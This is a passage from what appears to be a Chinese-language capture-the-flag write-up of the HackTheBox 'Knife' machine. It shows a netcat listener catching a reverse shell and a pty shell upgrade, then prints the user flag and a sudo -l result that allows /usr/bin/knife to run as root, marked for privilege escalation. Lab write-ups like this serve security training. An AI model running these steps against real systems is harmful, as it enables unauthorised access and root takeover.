┌──(kali㉿kali)-[~/桌面] └─$ nc -lvnp 443 listening on [any] 443 ... connect to [10.10.14.9] from (UNKNOWN) [10.10.10.242] 45346 sh: 0: can't access tty; job control turned off $ python3 -c 'import pty;pty.spawn("/bin/bash")' james@knife:/$
james@knife:/$ cd /home/james cd /home/james james@knife:~$ ls -la ls -la total 40 drwxr-xr-x 5 james james 4096 May 18 2021 . drwxr-xr-x 3 root root 4096 May 6 2021 .. lrwxrwxrwx 1 james james 9 May 10 2021 .bash_history -> /dev/null -rw-r--r-- 1 james james 220 Feb 25 2020 .bash_logout -rw-r--r-- 1 james james 3771 Feb 25 2020 .bashrc drwx------ 2 james james 4096 May 6 2021 .cache drwxrwxr-x 3 james james 4096 May 6 2021 .local -rw-r--r-- 1 james james 807 Feb 25 2020 .profile -rw-rw-r-- 1 james james 66 May 7 2021 .selected_editor drwx------ 2 james james 4096 May 18 2021 .ssh -r-------- 1 james james 33 Dec 11 07:44 user.txt james@knife:~$ cat user.txt cat user.txt 986f5de877ca6770c36978c8e9e5e51d james@knife:~$
0x02 系统权限获取
10、通过sudo -l 发现了一个可利用提权
1 2 3 4 5 6 7 8 9
james@knife:~$ sudo -l sudo -l Matching Defaults entries for james on knife: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on knife: (root) NOPASSWD: /usr/bin/knife james@knife:~$